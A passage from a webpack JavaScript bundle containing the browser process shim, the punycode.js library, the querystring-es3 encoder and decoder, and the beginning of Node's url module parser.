                    if (queue.length === 1 && !draining) {
                        runTimeout(drainQueue);
                    }
                };

                // v8 likes predictible objects
                function Item(fun, array) {
                    this.fun = fun;
                    this.array = array;
                }
                Item.prototype.run = function () {
                    this.fun.apply(null, this.array);
                };
                process.title = 'browser';
                process.browser = true;
                process.env = {};
                process.argv = [];
                process.version = ''; // empty string to avoid regexp issues
                process.versions = {};

                function noop() {}

                process.on = noop;
                process.addListener = noop;
                process.once = noop;
                process.off = noop;
                process.removeListener = noop;
                process.removeAllListeners = noop;
                process.emit = noop;
                process.prependListener = noop;
                process.prependOnceListener = noop;

                process.listeners = function (name) { return [] }

                process.binding = function (name) {
                    throw new Error('process.binding is not supported');
                };

                process.cwd = function () { return '/' };
                process.chdir = function (dir) {
                    throw new Error('process.chdir is not supported');
                };
                process.umask = function() { return 0; };


                /***/ }),

            /***/ "./node_modules/punycode/punycode.js":
            /*!*******************************************!*\
  !*** ./node_modules/punycode/punycode.js ***!
  \*******************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                /* WEBPACK VAR INJECTION */(function(module, global) {var __WEBPACK_AMD_DEFINE_RESULT__;/*! https://mths.be/punycode v1.4.1 by @mathias */
                                                                      ;(function(root) {

                                                                          /** Detect free variables */
                                                                          var freeExports =  true && exports &&
                                                                              !exports.nodeType && exports;
                                                                          var freeModule =  true && module &&
                                                                              !module.nodeType && module;
                                                                          var freeGlobal = typeof global == 'object' && global;
                                                                          if (
                                                                              freeGlobal.global === freeGlobal ||
                                                                              freeGlobal.window === freeGlobal ||
                                                                              freeGlobal.self === freeGlobal
                                                                          ) {
                                                                              root = freeGlobal;
                                                                          }

                                                                          /**
	 * The `punycode` object.
	 * @name punycode
	 * @type Object
	 */
                                                                          var punycode,

                                                                              /** Highest positive signed 32-bit float value */
                                                                              maxInt = 2147483647, // aka. 0x7FFFFFFF or 2^31-1

                                                                              /** Bootstring parameters */
                                                                              base = 36,
                                                                              tMin = 1,
                                                                              tMax = 26,
                                                                              skew = 38,
                                                                              damp = 700,
                                                                              initialBias = 72,
                                                                              initialN = 128, // 0x80
                                                                              delimiter = '-', // '\x2D'

                                                                              /** Regular expressions */
                                                                              regexPunycode = /^xn--/,
                                                                              regexNonASCII = /[^\x20-\x7E]/, // unprintable ASCII chars + non-ASCII chars
                                                                              regexSeparators = /[\x2E\u3002\uFF0E\uFF61]/g, // RFC 3490 separators

                                                                              /** Error messages */
                                                                              errors = {
                                                                                  'overflow': 'Overflow: input needs wider integers to process',
                                                                                  'not-basic': 'Illegal input >= 0x80 (not a basic code point)',
                                                                                  'invalid-input': 'Invalid input'
                                                                              },

                                                                              /** Convenience shortcuts */
                                                                              baseMinusTMin = base - tMin,
                                                                              floor = Math.floor,
                                                                              stringFromCharCode = String.fromCharCode,

                                                                              /** Temporary variable */
                                                                              key;

                                                                          /*--------------------------------------------------------------------------*/

                                                                          /**
	 * A generic error utility function.
	 * @private
	 * @param {String} type The error type.
	 * @returns {Error} Throws a `RangeError` with the applicable error message.
	 */
                                                                          function error(type) {
                                                                              throw new RangeError(errors[type]);
                                                                          }

                                                                          /**
	 * A generic `Array#map` utility function.
	 * @private
	 * @param {Array} array The array to iterate over.
	 * @param {Function} callback The function that gets called for every array
	 * item.
	 * @returns {Array} A new array of values returned by the callback function.
	 */
                                                                          function map(array, fn) {
                                                                              var length = array.length;
                                                                              var result = [];
                                                                              while (length--) {
                                                                                  result[length] = fn(array[length]);
                                                                              }
                                                                              return result;
                                                                          }

                                                                          /**
	 * A simple `Array#map`-like wrapper to work with domain name strings or email
	 * addresses.
	 * @private
	 * @param {String} domain The domain name or email address.
	 * @param {Function} callback The function that gets called for every
	 * character.
	 * @returns {Array} A new string of characters returned by the callback
	 * function.
	 */
                                                                          function mapDomain(string, fn) {
                                                                              var parts = string.split('@');
                                                                              var result = '';
                                                                              if (parts.length > 1) {
                                                                                  // In email addresses, only the domain name should be punycoded. Leave
                                                                                  // the local part (i.e. everything up to `@`) intact.
                                                                                  result = parts[0] + '@';
                                                                                  string = parts[1];
                                                                              }
                                                                              // Avoid `split(regex)` for IE8 compatibility. See #17.
                                                                              string = string.replace(regexSeparators, '\x2E');
                                                                              var labels = string.split('.');
                                                                              var encoded = map(labels, fn).join('.');
                                                                              return result + encoded;
                                                                          }

                                                                          /**
	 * Creates an array containing the numeric code points of each Unicode
	 * character in the string. While JavaScript uses UCS-2 internally,
	 * this function will convert a pair of surrogate halves (each of which
	 * UCS-2 exposes as separate characters) into a single code point,
	 * matching UTF-16.
	 * @see `punycode.ucs2.encode`
	 * @see <https://mathiasbynens.be/notes/javascript-encoding>
	 * @memberOf punycode.ucs2
	 * @name decode
	 * @param {String} string The Unicode input string (UCS-2).
	 * @returns {Array} The new array of code points.
	 */
                                                                          function ucs2decode(string) {
                                                                              var output = [],
                                                                                  counter = 0,
                                                                                  length = string.length,
                                                                                  value,
                                                                                  extra;
                                                                              while (counter < length) {
                                                                                  value = string.charCodeAt(counter++);
                                                                                  if (value >= 0xD800 && value <= 0xDBFF && counter < length) {
                                                                                      // high surrogate, and there is a next character
                                                                                      extra = string.charCodeAt(counter++);
                                                                                      if ((extra & 0xFC00) == 0xDC00) { // low surrogate
                                                                                          output.push(((value & 0x3FF) << 10) + (extra & 0x3FF) + 0x10000);
                                                                                      } else {
                                                                                          // unmatched surrogate; only append this code unit, in case the next
                                                                                          // code unit is the high surrogate of a surrogate pair
                                                                                          output.push(value);
                                                                                          counter--;
                                                                                      }
                                                                                  } else {
                                                                                      output.push(value);
                                                                                  }
                                                                              }
                                                                              return output;
                                                                          }

                                                                          /**
	 * Creates a string based on an array of numeric code points.
	 * @see `punycode.ucs2.decode`
	 * @memberOf punycode.ucs2
	 * @name encode
	 * @param {Array} codePoints The array of numeric code points.
	 * @returns {String} The new Unicode string (UCS-2).
	 */
                                                                          function ucs2encode(array) {
                                                                              return map(array, function(value) {
                                                                                  var output = '';
                                                                                  if (value > 0xFFFF) {
                                                                                      value -= 0x10000;
                                                                                      output += stringFromCharCode(value >>> 10 & 0x3FF | 0xD800);
                                                                                      value = 0xDC00 | value & 0x3FF;
                                                                                  }
                                                                                  output += stringFromCharCode(value);
                                                                                  return output;
                                                                              }).join('');
                                                                          }

                                                                          /**
	 * Converts a basic code point into a digit/integer.
	 * @see `digitToBasic()`
	 * @private
	 * @param {Number} codePoint The basic numeric code point value.
	 * @returns {Number} The numeric value of a basic code point (for use in
	 * representing integers) in the range `0` to `base - 1`, or `base` if
	 * the code point does not represent a value.
	 */
                                                                          function basicToDigit(codePoint) {
                                                                              if (codePoint - 48 < 10) {
                                                                                  return codePoint - 22;
                                                                              }
                                                                              if (codePoint - 65 < 26) {
                                                                                  return codePoint - 65;
                                                                              }
                                                                              if (codePoint - 97 < 26) {
                                                                                  return codePoint - 97;
                                                                              }
                                                                              return base;
                                                                          }

                                                                          /**
	 * Converts a digit/integer into a basic code point.
	 * @see `basicToDigit()`
	 * @private
	 * @param {Number} digit The numeric value of a basic code point.
	 * @returns {Number} The basic code point whose value (when used for
	 * representing integers) is `digit`, which needs to be in the range
	 * `0` to `base - 1`. If `flag` is non-zero, the uppercase form is
	 * used; else, the lowercase form is used. The behavior is undefined
	 * if `flag` is non-zero and `digit` has no uppercase form.
	 */
                                                                          function digitToBasic(digit, flag) {
                                                                              //  0..25 map to ASCII a..z or A..Z
                                                                              // 26..35 map to ASCII 0..9
                                                                              return digit + 22 + 75 * (digit < 26) - ((flag != 0) << 5);
                                                                          }

                                                                          /**
	 * Bias adaptation function as per section 3.4 of RFC 3492.
	 * https://tools.ietf.org/html/rfc3492#section-3.4
	 * @private
	 */
                                                                          function adapt(delta, numPoints, firstTime) {
                                                                              var k = 0;
                                                                              delta = firstTime ? floor(delta / damp) : delta >> 1;
                                                                              delta += floor(delta / numPoints);
                                                                              for (/* no initialization */; delta > baseMinusTMin * tMax >> 1; k += base) {
                                                                                  delta = floor(delta / baseMinusTMin);
                                                                              }
                                                                              return floor(k + (baseMinusTMin + 1) * delta / (delta + skew));
                                                                          }

                                                                          /**
	 * Converts a Punycode string of ASCII-only symbols to a string of Unicode
	 * symbols.
	 * @memberOf punycode
	 * @param {String} input The Punycode string of ASCII-only symbols.
	 * @returns {String} The resulting string of Unicode symbols.
	 */
                                                                          function decode(input) {
                                                                              // Don't use UCS-2
                                                                              var output = [],
                                                                                  inputLength = input.length,
                                                                                  out,
                                                                                  i = 0,
                                                                                  n = initialN,
                                                                                  bias = initialBias,
                                                                                  basic,
                                                                                  j,
                                                                                  index,
                                                                                  oldi,
                                                                                  w,
                                                                                  k,
                                                                                  digit,
                                                                                  t,
                                                                                  /** Cached calculation results */
                                                                                  baseMinusT;

                                                                              // Handle the basic code points: let `basic` be the number of input code
                                                                              // points before the last delimiter, or `0` if there is none, then copy
                                                                              // the first basic code points to the output.

                                                                              basic = input.lastIndexOf(delimiter);
                                                                              if (basic < 0) {
                                                                                  basic = 0;
                                                                              }

                                                                              for (j = 0; j < basic; ++j) {
                                                                                  // if it's not a basic code point
                                                                                  if (input.charCodeAt(j) >= 0x80) {
                                                                                      error('not-basic');
                                                                                  }
                                                                                  output.push(input.charCodeAt(j));
                                                                              }

                                                                              // Main decoding loop: start just after the last delimiter if any basic code
                                                                              // points were copied; start at the beginning otherwise.

                                                                              for (index = basic > 0 ? basic + 1 : 0; index < inputLength; /* no final expression */) {

                                                                                  // `index` is the index of the next character to be consumed.
                                                                                  // Decode a generalized variable-length integer into `delta`,
                                                                                  // which gets added to `i`. The overflow checking is easier
                                                                                  // if we increase `i` as we go, then subtract off its starting
                                                                                  // value at the end to obtain `delta`.
                                                                                  for (oldi = i, w = 1, k = base; /* no condition */; k += base) {

                                                                                      if (index >= inputLength) {
                                                                                          error('invalid-input');
                                                                                      }

                                                                                      digit = basicToDigit(input.charCodeAt(index++));

                                                                                      if (digit >= base || digit > floor((maxInt - i) / w)) {
                                                                                          error('overflow');
                                                                                      }

                                                                                      i += digit * w;
                                                                                      t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);

                                                                                      if (digit < t) {
                                                                                          break;
                                                                                      }

                                                                                      baseMinusT = base - t;
                                                                                      if (w > floor(maxInt / baseMinusT)) {
                                                                                          error('overflow');
                                                                                      }

                                                                                      w *= baseMinusT;

                                                                                  }

                                                                                  out = output.length + 1;
                                                                                  bias = adapt(i - oldi, out, oldi == 0);

                                                                                  // `i` was supposed to wrap around from `out` to `0`,
                                                                                  // incrementing `n` each time, so we'll fix that now:
                                                                                  if (floor(i / out) > maxInt - n) {
                                                                                      error('overflow');
                                                                                  }

                                                                                  n += floor(i / out);
                                                                                  i %= out;

                                                                                  // Insert `n` at position `i` of the output
                                                                                  output.splice(i++, 0, n);

                                                                              }

                                                                              return ucs2encode(output);
                                                                          }

                                                                          /**
	 * Converts a string of Unicode symbols (e.g. a domain name label) to a
	 * Punycode string of ASCII-only symbols.
	 * @memberOf punycode
	 * @param {String} input The string of Unicode symbols.
	 * @returns {String} The resulting Punycode string of ASCII-only symbols.
	 */
                                                                          function encode(input) {
                                                                              var n,
                                                                                  delta,
                                                                                  handledCPCount,
                                                                                  basicLength,
                                                                                  bias,
                                                                                  j,
                                                                                  m,
                                                                                  q,
                                                                                  k,
                                                                                  t,
                                                                                  currentValue,
                                                                                  output = [],
                                                                                  /** `inputLength` will hold the number of code points in `input`. */
                                                                                  inputLength,
                                                                                  /** Cached calculation results */
                                                                                  handledCPCountPlusOne,
                                                                                  baseMinusT,
                                                                                  qMinusT;

                                                                              // Convert the input in UCS-2 to Unicode
                                                                              input = ucs2decode(input);

                                                                              // Cache the length
                                                                              inputLength = input.length;

                                                                              // Initialize the state
                                                                              n = initialN;
                                                                              delta = 0;
                                                                              bias = initialBias;

                                                                              // Handle the basic code points
                                                                              for (j = 0; j < inputLength; ++j) {
                                                                                  currentValue = input[j];
                                                                                  if (currentValue < 0x80) {
                                                                                      output.push(stringFromCharCode(currentValue));
                                                                                  }
                                                                              }

                                                                              handledCPCount = basicLength = output.length;

                                                                              // `handledCPCount` is the number of code points that have been handled;
                                                                              // `basicLength` is the number of basic code points.

                                                                              // Finish the basic string - if it is not empty - with a delimiter
                                                                              if (basicLength) {
                                                                                  output.push(delimiter);
                                                                              }

                                                                              // Main encoding loop:
                                                                              while (handledCPCount < inputLength) {

                                                                                  // All non-basic code points < n have been handled already. Find the next
                                                                                  // larger one:
                                                                                  for (m = maxInt, j = 0; j < inputLength; ++j) {
                                                                                      currentValue = input[j];
                                                                                      if (currentValue >= n && currentValue < m) {
                                                                                          m = currentValue;
                                                                                      }
                                                                                  }

                                                                                  // Increase `delta` enough to advance the decoder's <n,i> state to <m,0>,
                                                                                  // but guard against overflow
                                                                                  handledCPCountPlusOne = handledCPCount + 1;
                                                                                  if (m - n > floor((maxInt - delta) / handledCPCountPlusOne)) {
                                                                                      error('overflow');
                                                                                  }

                                                                                  delta += (m - n) * handledCPCountPlusOne;
                                                                                  n = m;

                                                                                  for (j = 0; j < inputLength; ++j) {
                                                                                      currentValue = input[j];

                                                                                      if (currentValue < n && ++delta > maxInt) {
                                                                                          error('overflow');
                                                                                      }

                                                                                      if (currentValue == n) {
                                                                                          // Represent delta as a generalized variable-length integer
                                                                                          for (q = delta, k = base; /* no condition */; k += base) {
                                                                                              t = k <= bias ? tMin : (k >= bias + tMax ? tMax : k - bias);
                                                                                              if (q < t) {
                                                                                                  break;
                                                                                              }
                                                                                              qMinusT = q - t;
                                                                                              baseMinusT = base - t;
                                                                                              output.push(
                                                                                                  stringFromCharCode(digitToBasic(t + qMinusT % baseMinusT, 0))
                                                                                              );
                                                                                              q = floor(qMinusT / baseMinusT);
                                                                                          }

                                                                                          output.push(stringFromCharCode(digitToBasic(q, 0)));
                                                                                          bias = adapt(delta, handledCPCountPlusOne, handledCPCount == basicLength);
                                                                                          delta = 0;
                                                                                          ++handledCPCount;
                                                                                      }
                                                                                  }

                                                                                  ++delta;
                                                                                  ++n;

                                                                              }
                                                                              return output.join('');
                                                                          }

                                                                          /**
	 * Converts a Punycode string representing a domain name or an email address
	 * to Unicode. Only the Punycoded parts of the input will be converted, i.e.
	 * it doesn't matter if you call it on a string that has already been
	 * converted to Unicode.
	 * @memberOf punycode
	 * @param {String} input The Punycoded domain name or email address to
	 * convert to Unicode.
	 * @returns {String} The Unicode representation of the given Punycode
	 * string.
	 */
                                                                          function toUnicode(input) {
                                                                              return mapDomain(input, function(string) {
                                                                                  return regexPunycode.test(string)
                                                                                      ? decode(string.slice(4).toLowerCase())
                                                                                  : string;
                                                                              });
                                                                          }

                                                                          /**
	 * Converts a Unicode string representing a domain name or an email address to
	 * Punycode. Only the non-ASCII parts of the domain name will be converted,
	 * i.e. it doesn't matter if you call it with a domain that's already in
	 * ASCII.
	 * @memberOf punycode
	 * @param {String} input The domain name or email address to convert, as a
	 * Unicode string.
	 * @returns {String} The Punycode representation of the given domain name or
	 * email address.
	 */
                                                                          function toASCII(input) {
                                                                              return mapDomain(input, function(string) {
                                                                                  return regexNonASCII.test(string)
                                                                                      ? 'xn--' + encode(string)
                                                                                  : string;
                                                                              });
                                                                          }

                                                                          /*--------------------------------------------------------------------------*/

                                                                          /** Define the public API */
                                                                          punycode = {
                                                                              /**
		 * A string representing the current Punycode.js version number.
		 * @memberOf punycode
		 * @type String
		 */
                                                                              'version': '1.4.1',
                                                                              /**
		 * An object of methods to convert from JavaScript's internal character
		 * representation (UCS-2) to Unicode code points, and back.
		 * @see <https://mathiasbynens.be/notes/javascript-encoding>
		 * @memberOf punycode
		 * @type Object
		 */
                                                                              'ucs2': {
                                                                                  'decode': ucs2decode,
                                                                                  'encode': ucs2encode
                                                                              },
                                                                              'decode': decode,
                                                                              'encode': encode,
                                                                              'toASCII': toASCII,
                                                                              'toUnicode': toUnicode
                                                                          };

                                                                          /** Expose `punycode` */
                                                                          // Some AMD build optimizers, like r.js, check for specific condition patterns
                                                                          // like the following:
                                                                          if (
                                                                              true
                                                                          ) {
                                                                              !(__WEBPACK_AMD_DEFINE_RESULT__ = (function() {
                                                                                  return punycode;
                                                                              }).call(exports, __webpack_require__, exports, module),
                                                                                __WEBPACK_AMD_DEFINE_RESULT__ !== undefined && (module.exports = __WEBPACK_AMD_DEFINE_RESULT__));
                                                                          } else {}

                                                                      }(this));

                                                                      /* WEBPACK VAR INJECTION */}.call(this, __webpack_require__(/*! ./../webpack/buildin/module.js */ "./node_modules/webpack/buildin/module.js")(module), __webpack_require__(/*! ./../webpack/buildin/global.js */ "./node_modules/webpack/buildin/global.js")))

                /***/ }),

            /***/ "./node_modules/querystring-es3/decode.js":
            /*!************************************************!*\
  !*** ./node_modules/querystring-es3/decode.js ***!
  \************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";
                // Copyright Joyent, Inc. and other Node contributors.
                //
                // Permission is hereby granted, free of charge, to any person obtaining a
                // copy of this software and associated documentation files (the
                // "Software"), to deal in the Software without restriction, including
                // without limitation the rights to use, copy, modify, merge, publish,
                // distribute, sublicense, and/or sell copies of the Software, and to permit
                // persons to whom the Software is furnished to do so, subject to the
                // following conditions:
                //
                // The above copyright notice and this permission notice shall be included
                // in all copies or substantial portions of the Software.
                //
                // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
                // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
                // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
                // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
                // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
                // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
                // USE OR OTHER DEALINGS IN THE SOFTWARE.



                // If obj.hasOwnProperty has been overridden, then calling
                // obj.hasOwnProperty(prop) will break.
                // See: https://github.com/joyent/node/issues/1707
                function hasOwnProperty(obj, prop) {
                    return Object.prototype.hasOwnProperty.call(obj, prop);
                }

                module.exports = function(qs, sep, eq, options) {
                    sep = sep || '&';
                    eq = eq || '=';
                    var obj = {};

                    if (typeof qs !== 'string' || qs.length === 0) {
                        return obj;
                    }

                    var regexp = /\+/g;
                    qs = qs.split(sep);

                    var maxKeys = 1000;
                    if (options && typeof options.maxKeys === 'number') {
                        maxKeys = options.maxKeys;
                    }

                    var len = qs.length;
                    // maxKeys <= 0 means that we should not limit keys count
                    if (maxKeys > 0 && len > maxKeys) {
                        len = maxKeys;
                    }

                    for (var i = 0; i < len; ++i) {
                        var x = qs[i].replace(regexp, '%20'),
                            idx = x.indexOf(eq),
                            kstr, vstr, k, v;

                        if (idx >= 0) {
                            kstr = x.substr(0, idx);
                            vstr = x.substr(idx + 1);
                        } else {
                            kstr = x;
                            vstr = '';
                        }

                        k = decodeURIComponent(kstr);
                        v = decodeURIComponent(vstr);

                        if (!hasOwnProperty(obj, k)) {
                            obj[k] = v;
                        } else if (isArray(obj[k])) {
                            obj[k].push(v);
                        } else {
                            obj[k] = [obj[k], v];
                        }
                    }

                    return obj;
                };

                var isArray = Array.isArray || function (xs) {
                    return Object.prototype.toString.call(xs) === '[object Array]';
                };


                /***/ }),

            /***/ "./node_modules/querystring-es3/encode.js":
            /*!************************************************!*\
  !*** ./node_modules/querystring-es3/encode.js ***!
  \************************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";
                // Copyright Joyent, Inc. and other Node contributors.
                //
                // Permission is hereby granted, free of charge, to any person obtaining a
                // copy of this software and associated documentation files (the
                // "Software"), to deal in the Software without restriction, including
                // without limitation the rights to use, copy, modify, merge, publish,
                // distribute, sublicense, and/or sell copies of the Software, and to permit
                // persons to whom the Software is furnished to do so, subject to the
                // following conditions:
                //
                // The above copyright notice and this permission notice shall be included
                // in all copies or substantial portions of the Software.
                //
                // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
                // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
                // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
                // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
                // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
                // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
                // USE OR OTHER DEALINGS IN THE SOFTWARE.



                var stringifyPrimitive = function(v) {
                    switch (typeof v) {
                        case 'string':
                            return v;

                        case 'boolean':
                            return v ? 'true' : 'false';

                        case 'number':
                            return isFinite(v) ? v : '';

                        default:
                            return '';
                    }
                };

                module.exports = function(obj, sep, eq, name) {
                    sep = sep || '&';
                    eq = eq || '=';
                    if (obj === null) {
                        obj = undefined;
                    }

                    if (typeof obj === 'object') {
                        return map(objectKeys(obj), function(k) {
                            var ks = encodeURIComponent(stringifyPrimitive(k)) + eq;
                            if (isArray(obj[k])) {
                                return map(obj[k], function(v) {
                                    return ks + encodeURIComponent(stringifyPrimitive(v));
                                }).join(sep);
                            } else {
                                return ks + encodeURIComponent(stringifyPrimitive(obj[k]));
                            }
                        }).join(sep);

                    }

                    if (!name) return '';
                    return encodeURIComponent(stringifyPrimitive(name)) + eq +
                        encodeURIComponent(stringifyPrimitive(obj));
                };

                var isArray = Array.isArray || function (xs) {
                    return Object.prototype.toString.call(xs) === '[object Array]';
                };

                function map (xs, f) {
                    if (xs.map) return xs.map(f);
                    var res = [];
                    for (var i = 0; i < xs.length; i++) {
                        res.push(f(xs[i], i));
                    }
                    return res;
                }

                var objectKeys = Object.keys || function (obj) {
                    var res = [];
                    for (var key in obj) {
                        if (Object.prototype.hasOwnProperty.call(obj, key)) res.push(key);
                    }
                    return res;
                };


                /***/ }),

            /***/ "./node_modules/querystring-es3/index.js":
            /*!***********************************************!*\
  !*** ./node_modules/querystring-es3/index.js ***!
  \***********************************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";


                exports.decode = exports.parse = __webpack_require__(/*! ./decode */ "./node_modules/querystring-es3/decode.js");
                exports.encode = exports.stringify = __webpack_require__(/*! ./encode */ "./node_modules/querystring-es3/encode.js");


                /***/ }),

            /***/ "./node_modules/url/url.js":
            /*!*********************************!*\
  !*** ./node_modules/url/url.js ***!
  \*********************************/
            /*! no static exports found */
            /***/ (function(module, exports, __webpack_require__) {

                "use strict";
                // Copyright Joyent, Inc. and other Node contributors.
                //
                // Permission is hereby granted, free of charge, to any person obtaining a
                // copy of this software and associated documentation files (the
                // "Software"), to deal in the Software without restriction, including
                // without limitation the rights to use, copy, modify, merge, publish,
                // distribute, sublicense, and/or sell copies of the Software, and to permit
                // persons to whom the Software is furnished to do so, subject to the
                // following conditions:
                //
                // The above copyright notice and this permission notice shall be included
                // in all copies or substantial portions of the Software.
                //
                // THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS
                // OR IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF
                // MERCHANTABILITY, FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN
                // NO EVENT SHALL THE AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM,
                // DAMAGES OR OTHER LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR
                // OTHERWISE, ARISING FROM, OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE
                // USE OR OTHER DEALINGS IN THE SOFTWARE.



                var punycode = __webpack_require__(/*! punycode */ "./node_modules/punycode/punycode.js");
                var util = __webpack_require__(/*! ./util */ "./node_modules/url/util.js");

                exports.parse = urlParse;
                exports.resolve = urlResolve;
                exports.resolveObject = urlResolveObject;
                exports.format = urlFormat;

                exports.Url = Url;

                function Url() {
                    this.protocol = null;
                    this.slashes = null;
                    this.auth = null;
                    this.host = null;
                    this.port = null;
                    this.hostname = null;
                    this.hash = null;
                    this.search = null;
                    this.query = null;
                    this.pathname = null;
                    this.path = null;
                    this.href = null;
                }

                // Reference: RFC 3986, RFC 1808, RFC 2396

                // define these here so at least they only have to be
                // compiled once on the first module load.
                var protocolPattern = /^([a-z0-9.+-]+:)/i,
                    portPattern = /:[0-9]*$/,

                    // Special case for a simple path URL
                    simplePathPattern = /^(\/\/?(?!\/)[^\?\s]*)(\?[^\s]*)?$/,

                    // RFC 2396: characters reserved for delimiting URLs.
                    // We actually just auto-escape these.
                    delims = ['<', '>', '"', '`', ' ', '\r', '\n', '\t'],

                    // RFC 2396: characters not allowed for various reasons.
                    unwise = ['{', '}', '|', '\\', '^', '`'].concat(delims),

                    // Allowed by RFCs, but cause of XSS attacks.  Always escape these.
                    autoEscape = ['\''].concat(unwise),
                    // Characters that are never ever allowed in a hostname.
                    // Note that any invalid chars are also handled, but these
                    // are the ones that are *expected* to be seen, so we fast-path
                    // them.
                    nonHostChars = ['%', '/', '?', ';', '#'].concat(autoEscape),
                    hostEndingChars = ['/', '?', '#'],
                    hostnameMaxLen = 255,
                    hostnamePartPattern = /^[+a-z0-9A-Z_-]{0,63}$/,
                    hostnamePartStart = /^([+a-z0-9A-Z_-]{0,63})(.*)$/,
                    // protocols that can allow "unsafe" and "unwise" chars.
                    unsafeProtocol = {
                        'javascript': true,
                        'javascript:': true
                    },
                    // protocols that never have a hostname.
                    hostlessProtocol = {
                        'javascript': true,
                        'javascript:': true
                    },
                    // protocols that always contain a // bit.
                    slashedProtocol = {
                        'http': true,
                        'https': true,
                        'ftp': true,
                        'gopher': true,
                        'file': true,
                        'http:': true,
                        'https:': true,
                        'ftp:': true,
                        'gopher:': true,
                        'file:': true
                    },
                    querystring = __webpack_require__(/*! querystring */ "./node_modules/querystring-es3/index.js");

                function urlParse(url, parseQueryString, slashesDenoteHost) {
                    if (url && util.isObject(url) && url instanceof Url) return url;

                    var u = new Url;
                    u.parse(url, parseQueryString, slashesDenoteHost);
                    return u;
                }

                Url.prototype.parse = function(url, parseQueryString, slashesDenoteHost) {
                    if (!util.isString(url)) {
                        throw new TypeError("Parameter 'url' must be a string, not " + typeof url);
                    }

                    // Copy chrome, IE, opera backslash-handling behavior.
                    // Back slashes before the query string get converted to forward slashes
                    // See: https://code.google.com/p/chromium/issues/detail?id=25916
                    var queryIndex = url.indexOf('?'),
                        splitter =
                        (queryIndex !== -1 && queryIndex < url.indexOf('#')) ? '?' : '#',
                        uSplit = url.split(splitter),
                        slashRegex = /\\/g;
                    uSplit[0] = uSplit[0].replace(slashRegex, '/');
                    url = uSplit.join(splitter);

                    var rest = url;

                    // trim before proceeding.
                    // This is to support parse stuff like "  http://foo.com  \n"
                    rest = rest.trim();

                    if (!slashesDenoteHost && url.split('#').length === 1) {
                        // Try fast path regexp
                        var simplePath = simplePathPattern.exec(rest);
                        if (simplePath) {
                            this.path = rest;
                            this.href = rest;
                            this.pathname = simplePath[1];
                            if (simplePath[2]) {
                                this.search = simplePath[2];
                                if (parseQueryString) {
                                    this.query = querystring.parse(this.search.substr(1));
                                } else {
                                    this.query = this.search.substr(1);
                                }
                            } else if (parseQueryString) {
                                this.search = '';
                                this.query = {};
                            }
                            return this;
                        }
                    }

                    var proto = protocolPattern.exec(rest);
                    if (proto) {
                        proto = proto[0];
                        var lowerProto = proto.toLowerCase();
                        this.protocol = lowerProto;
                        rest = rest.substr(proto.length);
                    }

                    // figure out if it's got a host
                    // user@server is *always* interpreted as a hostname, and url
                    // resolution will treat //foo/bar as host=foo,path=bar because that's
                    // how the browser resolves relative URLs.
                    if (slashesDenoteHost || proto || rest.match(/^\/\/[^@\/]+@[^@\/]+/)) {
                        var slashes = rest.substr(0, 2) === '//';
                        if (slashes && !(proto && hostlessProtocol[proto])) {
                            rest = rest.substr(2);
                            this.slashes = true;
                        }
                    }

                    if (!hostlessProtocol[proto] &&
                        (slashes || (proto && !slashedProtocol[proto]))) {

                        // there's a hostname.
                        // the first instance of /, ?, ;, or # ends the host.
                        //
                        // If there is an @ in the hostname, then non-host chars *are* allowed
                        // to the left of the last @ sign, unless some host-ending character
                        // comes *before* the @-sign.
                        // URLs are obnoxious.
                        //
                        // ex:
                        // http://a@b@c/ => user:a@b host:c
                        // http://a@b?@c => user:a host:c path:/?@c

                        // v0.12 TODO(isaacs): This is not quite how Chrome does things.
                        // Review our test case against browsers more comprehensively.

                        // find the first instance of any hostEndingChars
                        var hostEnd = -1;
                        for (var i = 0; i < hostEndingChars.length; i++) {
                            var hec = rest.indexOf(hostEndingChars[i]);
                            if (hec !== -1 && (hostEnd === -1 || hec < hostEnd))
                                hostEnd = hec;
                        }

                        // at this point, either we have an explicit point where the
                        // auth portion cannot go past, or the last @ char is the decider.
                        var auth, atSign;
                        if (hostEnd === -1) {
                            // atSign can be anywhere.
                            atSign = rest.lastIndexOf('@');
                        } else {
                            // atSign must be in auth portion.
                            // http://a@b/c@d => host:b auth:a path:/c@d
                            atSign = rest.lastIndexOf('@', hostEnd);
                        }

                        // Now we have a portion which is definitely the auth.
                        // Pull that off.
                        if (atSign !== -1) {
                            auth = rest.slice(0, atSign);
                            rest = rest.slice(atSign + 1);
                            this.auth = decodeURIComponent(auth);
                        }

                        // the host is the remaining to the left of the first non-host char
                        hostEnd = -1;
                        for (var i = 0; i < nonHostChars.length; i++) {
                            var hec = rest.indexOf(nonHostChars[i]);
                            if (hec !== -1 && (hostEnd === -1 || hec < hostEnd))
                                hostEnd = hec;
                        }
                        // if we still have not hit it, then the entire thing is a host.
                        if (hostEnd === -1)
                            hostEnd = rest.length;

